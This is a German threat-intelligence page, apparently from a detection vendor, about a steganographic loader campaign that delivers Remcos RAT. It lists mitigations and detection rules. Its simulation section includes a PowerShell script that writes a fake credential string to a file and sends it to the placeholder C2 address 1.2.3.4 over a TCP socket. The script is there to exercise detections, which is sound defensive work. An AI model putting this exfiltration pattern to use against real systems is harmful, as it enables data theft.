Eine mehrstufige steganografische Loader-Kampagne liefert weltweit vielfältige Nutzlasten aus
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine mehrstufige Malware-Kampagne nutzt Steganografie und In-Memory-Ausführung, um mehrere Payloads, einschließlich Remcos RAT, auszuliefern. Die Infektionskette beginnt mit einer Phishing-E-Mail, die ein bösartiges Archiv enthält, das eine .NET-Anwendung ablegt. Diese Anwendung verwendet eingebettete Ressourcen und steganografische Methoden, um spätere Phasen direkt in den Speicher zu laden, was der Malware hilft, Festplatten-basierte Erkennung zu vermeiden.
Untersuchung
Die Untersuchung begann, nachdem die Telemetrie eine verdächtige Datei namens GST Debit Note Apr_26.comgekennzeichnet hatte. Analysten stellten fest, dass die Datei eine gepackte 32-Bit-.NET-Anwendung war, die als Spiel getarnt war. Weitere Reverse Engineering-Recherchen enthüllten Steganografie, die in einem .NET-Bitmap-Objekt eingebettet war und den Ladeprogramm der nächsten Stufe, Optimax.dll, verbarg und es ermöglichte, vollständig im Speicher zu laufen.
Minderung
Organisationen sollten starke E-Mail-Filter einsetzen, um verdächtige Archiv-Anhänge und Phishing-Versuche zu blockieren. EDR-Lösungen sollten in der Lage sein, In-Memory-Ausführung, Prozesshollowing und verdächtiges PowerShell-Verhalten zu erkennen. Teams sollten auch unautorisierte Registrierungseinträge überwachen, insbesondere in den Run-Schlüsseln, und strikte Anwendungssteuerung durchsetzen, um zu verhindern, dass nicht signierte Anwendungen gestartet werden.
Reaktion
Betroffene Endpunkte sollten sofort isoliert werden, um seitliche Bewegungen und Datendiebstahl zu begrenzen. Ermittler sollten Speicherforensik durchführen, um dateifreie Komponenten zu identifizieren und das Vorhandensein des Remcos_Mutex_Inj Mutex zu bestätigen. Eine vollständige Überprüfung sollte auch auf unautorisierte Persistenz im AppData Verzeichnis und in den Run-Schlüsseln der Registrierung überprüfen, während die Anmeldeinformationen für alle Benutzer, deren Browser möglicherweise vom Malware erreicht wurden, zurückgesetzt werden sollten.
Angriffsfluss
Erkennungen
Aufruf verdächtiger .NET-Methoden von Powershell (über powershell)
Ansehen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER-Hive] (über registry_event)
Ansehen
Die Möglichkeit der Ausführung durch versteckte PowerShell-Kommandozeilen (über cmdline)
Ansehen
Mögliche PowerShell-Obfuskationsindikatoren (über powershell)
Ansehen
Exfiltration erfasster Daten zu Command und Control [Windows-Netzwerk-Verbindung]
Ansehen
Ausführung eines obfuskierten PowerShell-Skripts in der Steganografie-Loader-Kampagne [Windows Powershell]
Ansehen
Erkennung der Remcos RAT-Infektion durch Steganografie- und dateifreie Techniken [Windows-Prozesserstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Grundlinien-Vorflug-Check muss bestanden sein.
Begründung: Dieser Abschnitt erläutert die genaue Ausführung der Angreifertechnik (TTP), die zum Auslösen der Erkennungsregel entwickelt wurde. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.
-
Angreifererzählung & Befehle: Der Angreifer hat erfolgreich einen Fuß in der Tür. Um das Ziel zu erreichen, sammeln sie Systemtelemetrie und verstecken diese in einer Datei namens
logs.dat, um als Standard-Systemprotokolle getarnt zu erscheinen. Der Angreifer initiiert dann eine Netzwerkverbindung zur etablierten C2-Infrastruktur (unter Verwendung der IP1.2.3.4und Port37393für diese Simulation) um die Daten zu exfiltrieren. Dies ahmt das Verhalten eines steganografischen Loaders nach, der versucht, Daten über einen spezifischen, hartcodierten Kanal aus dem Netzwerk zu bewegen. -
Regressionstest-Skript:
# Simulation der Datenexfiltration über spezifischen Dateinamen und C2-Parameter $C2_IP = "1.2.3.4" # Simulierte C2-IP $C2_PORT = 37393 $FILENAME = "logs.dat" # 1. Erstellen der 'bösartigen' Daten-Datei Write-Output "Sensitive Data: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME" # 2. Simulierte Netzwerkverbindung zum C2 # Verwenden eines TCP-Clients, um die spezifische Port/IP-Telemetrie zu erzwingen try { $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT) $stream = $client.GetStream() $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME")) $stream.Write($data, 0, $data.Length) $client.Close() } catch { Write-Host "Verbindung fehlgeschlagen (erwartet, falls IP nicht existent ist), aber die Telemetrie sollte von der Firewall erfasst werden." } -
Bereinigungsbefehle:
# Entfernen der simulierten bösartigen Datei Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue